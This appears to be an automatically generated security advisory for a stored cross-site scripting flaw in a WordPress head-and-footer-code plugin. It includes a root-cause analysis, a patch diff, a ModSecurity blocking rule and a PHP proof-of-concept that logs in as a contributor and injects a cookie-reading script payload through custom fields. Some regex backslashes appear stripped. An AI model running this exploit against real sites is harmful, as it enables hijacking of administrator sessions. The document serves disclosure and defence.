Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 18, 2026

CVE-2026-2305: AddFunc Head & Footer Code <= 2.3 – Authenticated (Contributor+) Stored Cross-Site Scripting via Custom Fields (addfunc-head-footer-code)

CVE ID CVE-2026-2305
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.3
Patched Version 2.4
Disclosed April 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2305:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the AddFunc Head & Footer Code WordPress plugin. The vulnerability affects all plugin versions up to and including 2.3. The plugin’s custom post meta fields lack proper output sanitization and access control, allowing attackers with Contributor-level permissions or higher to inject malicious scripts that execute when administrators view or preview posts. The CVSS score of 6.4 reflects the medium severity of this privilege escalation vector.

Atomic Edge research identifies the root cause as insufficient protection of post meta keys. The plugin defines three custom meta fields: `aFhfc_head_code`, `aFhfc_body_code`, and `aFhfc_footer_code`. In the vulnerable version (2.3), the plugin’s metabox and save handler check for administrator permissions using `current_user_can(‘manage_options’)` in functions `aFhfc_add()` and `aFhfc_save()` at lines 143 and 181 of addfunc-head-footer-code.php. However, the plugin does not register these meta keys with WordPress’s `register_meta()` function. This omission leaves the meta keys unprotected via the WordPress Custom Fields interface, which bypasses the plugin’s permission checks.

The exploitation method leverages WordPress’s built-in Custom Fields interface. An authenticated attacker with Contributor-level access can edit any post they have permission to modify. The attacker navigates to the post editor, scrolls to the Custom Fields meta box, and adds new custom fields with the vulnerable meta keys. For example, they would add a field named `aFhfc_head_code` with a value containing malicious JavaScript payloads like `alert(document.cookie)`. The plugin’s output functions `output_head_code()`, `output_body_code()`, and `output_footer_code()` directly echo these values without sanitization at lines 68, 78, and 88. When an administrator views or previews the compromised post, the injected script executes in the administrator’s browser context.

The patch in version 2.4 introduces a new `register_meta_keys()` method that properly registers all three vulnerable meta keys. This method adds both an `auth_callback` that enforces the `manage_options` capability check and a `sanitize_callback` that applies `wp_kses_post` sanitization. The patch also adds an `init` hook to call this registration function at line 100. Before the patch, the meta keys had no access control or sanitization when set via Custom Fields. After the patch, WordPress enforces the same permission check for all write operations on these keys and sanitizes the stored values before database insertion.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of an administrator’s WordPress session. This can lead to session hijacking, privilege escalation to administrator, content manipulation, or installation of backdoors. The stored nature means the payload persists and executes each time any administrator views the compromised post. Attackers can leverage this access to completely compromise the WordPress installation and potentially the underlying server.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/addfunc-head-footer-code/addfunc-head-footer-code.php
+++ b/addfunc-head-footer-code/addfunc-head-footer-code.php
@@ -1,12 +1,13 @@
-<?php
+<?php if ( ! defined( 'ABSPATH' ) ) exit;
 /*
     Plugin Name: AddFunc Head & Footer Code
     Plugin URI:
     Description: Allows administrators to add code to the <head> and/or <footer> of an individual post and/or site-wide. Ideal for scripts such as Google Analytics conversion tracking codes and any other general or page-specific JavaScript.
-    Version: 2.3
+    Version: 2.4
     Author: AddFunc
     Author URI: http://profiles.wordpress.org/addfunc
-    License: Public Domain
+    Text Domain: addfunc-head-footer-code
+    License: GPLv2 or later
     @since 3.0.1
            ______
        _  |  ___/   _ _ __   ____
@@ -27,84 +28,93 @@
 if(!class_exists('aFHFCClass')) :
   define('AFHDFTRCD_ID', 'aFhfc');
   define('AFHDFTRCD_NICK', 'Head & Footer Code');
-  class aFHFCClass
-  {
-    public static function file_path($file)
-    {
+  class aFHFCClass {
+    public static function file_path($file) {
       return plugin_dir_path(__FILE__).$file;
     }
-    public static function register()
-    {
+    public static function register() {
       register_setting(AFHDFTRCD_ID.'_options', 'aFhfc_site_wide_head_code');
       register_setting(AFHDFTRCD_ID.'_options', 'aFhfc_head_code_priority');
       register_setting(AFHDFTRCD_ID.'_options', 'aFhfc_site_wide_body_code');
       register_setting(AFHDFTRCD_ID.'_options', 'aFhfc_site_wide_footer_code');
       register_setting(AFHDFTRCD_ID.'_options', 'aFhfc_footer_code_priority');
     }
-    public static function menu()
-    {
+    public static function register_meta_keys() {
+      register_meta('post', 'aFhfc_head_code', array(
+        'auth_callback'     => function() { return current_user_can('manage_options'); },
+        'sanitize_callback' => 'wp_kses_post',
+        'show_in_rest'      => false,
+      ));
+      register_meta('post', 'aFhfc_body_code', array(
+        'auth_callback'     => function() { return current_user_can('manage_options'); },
+        'sanitize_callback' => 'wp_kses_post',
+        'show_in_rest'      => false,
+      ));
+      register_meta('post', 'aFhfc_footer_code', array(
+        'auth_callback'     => function() { return current_user_can('manage_options'); },
+        'sanitize_callback' => 'wp_kses_post',
+        'show_in_rest'      => false,
+      ));
+    }
+    public static function menu() {
       add_options_page(AFHDFTRCD_NICK.' Plugin Options', AFHDFTRCD_NICK, 'manage_options', AFHDFTRCD_ID.'_options', array('aFHFCClass', 'options_page'));
     }
-    public static function options_page()
-    {
+    public static function options_page() {
       if (!current_user_can('manage_options'))
       {
-        wp_die(__('You do not have sufficient permissions to access this page.'));
+        wp_die(__('You do not have sufficient permissions to access this page.', 'addfunc-head-footer-code'));
       }
       $plugin_id = AFHDFTRCD_ID;
       include(self::file_path('options.php'));
     }
-    public static function output_head_code()
-    {
+    public static function output_head_code() {
       $site_head_code = get_option('aFhfc_site_wide_head_code');
       $meta_head_code = ((is_archive()) || (is_author()) || (is_category()) || (is_tag()) || (is_home()) || (is_search()) || (is_404())) ? '' : get_post_meta(get_the_ID(),'aFhfc_head_code',true);
       $head_replace = get_post_meta(get_the_ID(),'aFhfc_head_replace',true);
-      if(!empty($head_replace)){
+      if(!empty($head_replace)) {
         echo $meta_head_code."n";
       }else{
         echo $site_head_code."n".$meta_head_code."n";
       }
     }
-    public static function output_body_code()
-    {
+    public static function output_body_code() {
       $site_body_code = get_option('aFhfc_site_wide_body_code');
       $meta_body_code = ((is_archive()) || (is_author()) || (is_category()) || (is_tag()) || (is_home()) || (is_search()) || (is_404())) ? '' : get_post_meta(get_the_ID(),'aFhfc_body_code',true);
       $body_replace = get_post_meta(get_the_ID(),'aFhfc_body_replace',true);
-      if(!empty($body_replace)){
+      if(!empty($body_replace)) {
         return $meta_body_code."n";
       }else{
         return $site_body_code."n".$meta_body_code."n";
       }
     }
-    public static function output_footer_code()
-    {
+    public static function output_footer_code() {
       $site_footer_code = get_option('aFhfc_site_wide_footer_code');
       $meta_footer_code = ((is_archive()) || (is_author()) || (is_category()) || (is_tag()) || (is_home()) || (is_search()) || (is_404())) ? '' : get_post_meta(get_the_ID(),'aFhfc_footer_code',true);
       $footer_replace = get_post_meta(get_the_ID(),'aFhfc_footer_replace',true);
-      if(!empty($footer_replace)){
+      if(!empty($footer_replace)) {
         echo $meta_footer_code."n";
       }else{
         echo $site_footer_code."n".$meta_footer_code."n";
       }
     }
   }
-  if (is_admin())
-  {
+  add_action('init', array('aFHFCClass','register_meta_keys'));
+  if (is_admin()) {
     add_action('admin_init', array('aFHFCClass','register'));
     add_action('admin_menu', array('aFHFCClass','menu'));
   }
   $head_code_prior = get_option('aFhfc_head_code_priority');
-  if(!empty($head_code_prior)){
+  if(!empty($head_code_prior)) {
     add_action('wp_head', array('aFHFCClass','output_head_code'),$head_code_prior);
   }
   else {
     add_action('wp_head', array('aFHFCClass','output_head_code'));
   }
-  function aFHFCBuffRec(){
+  function aFHFCBuffRec() {
     ob_start();
   }
   add_action('wp_head','aFHFCBuffRec');
-  function aFHFCBuffPlay(){
+  function aFHFCBuffPlay() {
     $body_code = new aFHFCClass;
     $pattern = '/<[bB][oO][dD][yY]s[A-Za-z]{2,5}[A-Za-z0-9 "_,=%*'/():;[]-.]+>|<body>/';
     $queue = array();
@@ -115,7 +125,7 @@
   }
   add_action('wp_print_footer_scripts','aFHFCBuffPlay');
   $footer_code_prior = get_option('aFhfc_footer_code_priority');
-  if(!empty($footer_code_prior)){
+  if(!empty($footer_code_prior)) {
     add_action('wp_footer', array('aFHFCClass','output_footer_code'),$footer_code_prior);
   }
   else {
@@ -128,20 +138,19 @@
 /*
     M E T A B O X   F O R   P O S T S
     =================================
-    Metabox w/head & footer fields for all post types (including custom)
+    Metabox w/head & footer fields for
+    all post types (including custom)
 */

 add_action('add_meta_boxes','aFhfc_add');
-function aFhfc_add()
-{
-  if(current_user_can('manage_options')){
+function aFhfc_add() {
+  if(current_user_can('manage_options')) {
     $args = array('public'=>true);
     $post_types = get_post_types($args);
     add_meta_box('aFhfcMetaBox','Head & Footer Code','aFhfc_mtbx',$post_types,'normal','low');
   }
 }
-function aFhfc_mtbx($post)
-{
+function aFhfc_mtbx($post) {
   $values = get_post_custom($post->ID);
   $head_text = isset($values['aFhfc_head_code']) ? esc_attr($values['aFhfc_head_code'][0]) : '';
   $head_replace = isset($values['aFhfc_head_replace']) ? esc_attr($values['aFhfc_head_replace'][0]) : '';
@@ -172,8 +181,7 @@
   <?php
 }
 add_action('save_post','aFhfc_save');
-function aFhfc_save($post_id)
-{
+function aFhfc_save($post_id) {
   if(defined('DOING_AUTOSAVE') && DOING_AUTOSAVE)return;
   if(!isset($_POST['aFhfc_mb_nonce']) || !wp_verify_nonce($_POST['aFhfc_mb_nonce'],'aFhfc_nonce'))return;
   if(!current_user_can('manage_options'))return;
--- a/addfunc-head-footer-code/options.php
+++ b/addfunc-head-footer-code/options.php
@@ -1,3 +1,4 @@
+<?php if ( ! defined( 'ABSPATH' ) ) exit; ?>
 <div class="wrap">
   <h2>Head & Footer Code</h2>
   <div id="poststuff">

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-2305
# This rule blocks exploitation via WordPress Custom Fields interface
# Targets the specific meta keys used by the vulnerable plugin
SecRule REQUEST_URI "@rx ^/wp-admin/post.php$" 
  "id:20262305,phase:2,deny,status:403,chain,msg:'CVE-2026-2305 AddFunc Head & Footer Code Stored XSS via Custom Fields',severity:'CRITICAL',tag:'CVE-2026-2305',tag:'WordPress',tag:'Plugin',tag:'XSS'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:action "@streq editpost" "chain"
      SecRule ARGS_POST "@rx meta[d+][key]" "chain"
        SecRule ARGS_POST "@rx ^(?:aFhfc_head_code|aFhfc_body_code|aFhfc_footer_code)$" 
          "t:lowercase,chain"
          SecRule ARGS_POST "@detectXSS" 
            "msg:'XSS payload detected in AddFunc Head & Footer Code meta field',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2305 - AddFunc Head & Footer Code <= 2.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom Fields

<?php

// Configuration
$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$post_id = 123; // ID of a post the contributor can edit

// Payload to inject - this will execute when an admin views the post
$xss_payload = '<script>alert("Atomic Edge XSS Test - Admin Cookie: " + document.cookie);</script>';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Step 1: Get login page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$login_page = curl_exec($ch);

// Extract the login nonce (WordPress uses various nonce names)
preg_match('/name="log"[^>]+value="([^"]*)"/', $login_page, $log_matches);
preg_match('/name="pwd"[^>]+value="([^"]*)"/', $login_page, $pwd_matches);

// Step 2: Perform login
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$login_response = curl_exec($ch);

// Check if login succeeded by looking for dashboard elements
if (strpos($login_response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Step 3: Navigate to post edit page to get edit nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php?post=' . $post_id . '&action=edit');
curl_setopt($ch, CURLOPT_POST, false);
$edit_page = curl_exec($ch);

// Extract the meta box nonce for custom fields
preg_match('/name="_wpnonce" value="([^"]+)"/', $edit_page, $nonce_matches);
$edit_nonce = $nonce_matches[1] ?? '';

// Step 4: Inject malicious custom field via POST
// WordPress Custom Fields are submitted through the post edit form
$post_data = array(
    'post_ID' => $post_id,
    '_wpnonce' => $edit_nonce,
    '_wp_http_referer' => '/wp-admin/post.php?post=' . $post_id . '&action=edit',
    'action' => 'editpost',
    'meta' => array(
        array(
            'key' => 'aFhfc_head_code',
            'value' => $xss_payload
        )
    ),
    'save' => 'Update'
);

// Flatten the meta array for POST submission
$flat_data = array(
    'post_ID' => $post_id,
    '_wpnonce' => $edit_nonce,
    '_wp_http_referer' => '/wp-admin/post.php?post=' . $post_id . '&action=edit',
    'action' => 'editpost',
    'meta[0][key]' => 'aFhfc_head_code',
    'meta[0][value]' => $xss_payload,
    'save' => 'Update'
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($flat_data));
$inject_response = curl_exec($ch);

// Step 5: Verify injection by checking the post
curl_setopt($ch, CURLOPT_URL, $target_url . '/?p=' . $post_id);
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);

if (strpos($post_page, $xss_payload) !== false) {
    echo "SUCCESS: XSS payload injected into post $post_id.n";
    echo "The payload will execute when an administrator views the post.n";
    echo "Payload location: <head> section via aFhfc_head_code meta field.n";
} else {
    echo "FAILED: Payload not found in post output.n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School